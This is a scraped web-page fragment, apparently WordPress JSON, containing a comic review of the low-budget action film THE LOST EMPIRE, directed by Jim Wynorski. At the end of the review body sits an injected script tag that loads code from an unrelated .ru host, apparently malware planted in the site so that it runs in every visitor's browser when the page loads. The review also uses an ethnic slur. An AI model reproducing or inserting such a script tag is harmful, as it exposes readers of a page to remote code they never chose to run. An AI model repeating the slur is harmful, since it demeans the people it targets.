It&#8217;s got it all: a plot stolen from ENTER THE DRAGON, violence, ninjas, breasts, blood, skinless geeks, bad humor, chicks in cages, bimbo mud wrestling, shower scenes&#8230; and all in the course of 90 minutes!!! Talk about brilliant!<\/p>\n<p>Deftly directed by Wynorski, THE LOST EMPIRE is one of the most pointlessly enjoyable films I&#8217;ve seen in quite some time. And it had to be good since the other tape I rented was unwatchable (literally) and I was not in a happy mood. Luckily, Wynorski delivered the goods and all was right in Exploitationland.<\/p>\n<p>The flick opens with an awe-inspiring pre-credit sequence that rivals any of the recent Bond flicks&#8230;except on 1\/100th the budget. We&#8217;re talkin&#8217; giant breasts a- flyin&#8217;, chop sockey, throwin&#8217; stars and generous amounts of bloodshed as gook salesmen, ninjas and cops get offed left and right. Seems the ninjas were after one of the Eyes of Avatar&#8230;a jewel which gives its possessor unlimited power.<\/p>\n<p>Because her brother passes to the beyond in one of the most unbelievable deathbed scenes in movie history (one piece of advice Jim&#8230;stay away from the realism), Police Inspector Angel Wolfe decides to investigate. You know she must be the star since she&#8217;s the only female that doesn&#8217;t get naked. She recruits some sort of Indian spirit with huge tracts of land, plus a gum-chewing little honey from behind bars. Together, the three set out to the island of Dr. Sin Do for a competition to decide who is best fit to remain by the good doctor&#8217;s side for all eternity! (Does any of this sound familiar?)<\/p>\n<p>The remainder of the flick is spent watching bikini-clad hopefuls jiggle &#8217;round the cardboard sets in &#8220;tests of skill&#8221; such as running between traffic cones and lifelessly taking swings at each other with bamboo sticks. Eventually all hell breaks loose and there&#8217;s the inevitable confrontation between good and evil.<\/p>\n<p>Incredibly enjoyable film. And, by the way, Dr. Sin Do is portrayed by none other than Angus &#8220;The Tall Man&#8221; Scrimm of PHANTASM fame.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>This one must have been created by the exploitation gods (actually it was created by Jim Wynorski, but that&#8217;s as close as we come these days).
